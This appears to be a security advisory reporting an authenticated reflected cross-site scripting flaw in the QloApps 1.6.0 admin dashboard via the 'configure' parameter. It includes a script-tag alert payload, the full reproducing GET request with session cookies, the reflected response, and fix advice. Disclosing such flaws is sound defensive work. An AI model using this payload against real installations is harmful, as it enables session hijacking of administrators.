Affected Version: QloApps 1.6.0

Product Link: https://github.com/webkul/hotelcommerce

Security Issue:

(Authenticated) - Cross site scripting in admin dashboard via ?configure parameter

URL: <http://localhost/hotelcommerce/admin4757pcy8q/index.php>
Vulnerable Parameter: configure
Payload: '"()&%<zzz><ScRiPt >alert(9114)</ScRiPt>
Method: GET
Link: <http://localhost/hotelcommerce/admin4757pcy8q/index.php?configure=blocknewsletter>'"()%26%25<zzz><ScRiPt%20>alert(9114)</ScRiPt>&controller=AdminModules&module_name=blocknewsletter&token=61057240bddd76c6c7d59b6162adafaa

Vulnerability Description:

Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts into a legitimate website or web application. XSS occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.

HTTP Request:

GET /hotelcommerce/admin4757pcy8q/index.php?configure=blocknewsletter%27%22()%26%25%3Czzz%3E%3CScRiPt%20%3Ealert(9114)%3C/ScRiPt%3E&controller=AdminModules&module_name=blocknewsletter&token=61057240bddd76c6c7d59b6162adafaa HTTP/1.1
Host: localhost
Cache-Control: max-age=0
sec-ch-ua: 
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PrestaShop-daf117f818c8eeecfa2bccccdd849a8c=def502000b72edb648f7d72b765b0d0fc5916b92546631233f5a38871eed3124b1764074dc1310f5a5d8079342b2189c8cf0dd125144558fe9368f9c9c4cf698fbb2602677b10043830527ee029996e75e5717a79dcfbb43630414c8c16c3e888ac12eb4d2fdfebb9b868d68e998ea3a266e23d85a5a4b557c6b70534986ecdbace85d07c318fa8c0bc790e1232e0644ee0ec3218b81967965ca48ab8228bd21d2e4ac6f4fb7e8e26b9e492e69a260fc1158bf1a1f5e8701e079959ff26731f7e4c71a4d6741d8afda5046437c2b166d51898247; PrestaShop-982ef6ed83d922bf6ce9ada599a2fd13=def5020008cecfb36b700dcbdca99feb43263e0e5e9356ad4aacf11b78afda6f8b28facfbf5a34d6947f2f19083851187c6ba18b7e84ff4c002d6b3af81ac83f2004a0ed72ee0dd218fc49875c132ac83f24757a4cd2102282913fa55d79f86b8b45160aa57233ef5b3b0820d2867f07e57baa158722d9c74327a95fbfa8065eed060b6e02018082c60aacc93eebdd4d91ddd601410bc80f0e8dbbd6c55fdbc4585f6a92a882a90343c38bbc9c085e88a5108c0d6e51ce4c7106f47047851dbad28e9e172c21fbaf56876e90145d1416871b1f3d26b0bf842e07b293655b6242c350a8f7635194f79616f342c6e818d0d55009f10f9f8929bfe351d09150f6bd491e9b86c84562c1a7b5037f502ac9ae63198c8cda821be411f1f0bec4181e1663cbcfd78b87b85e4055785b6356dc1d996e120cc80522a2010f3a599ffa82045c957a9b0ba6327f4242b12bd84324f07e6482d4cfefc40a31e9984d9c842160c676dd27
Connection: close

HTTP Response: Note: other has been Redacted [*] aside from where the payload has reflected

You need to be download this module from store in order to update the <strong>blocknewsletter'"()&%<zzz><ScRiPt >alert(9114)</ScRiPt></strong> module. <a href="" title="Store">Click here to download.</a>

Screenshot:

xss1.PNG

xss2.PNG

The impact of this vulnerability:

Malicious JavaScript has access to all the same objects as the rest of the web page, including access to cookies and local storage, which are often used to store session tokens. If an attacker can obtain a user's session cookie, they can then impersonate that user.

How to fix this vulnerability:

Apply context-dependent encoding and/or validation to user input rendered on a page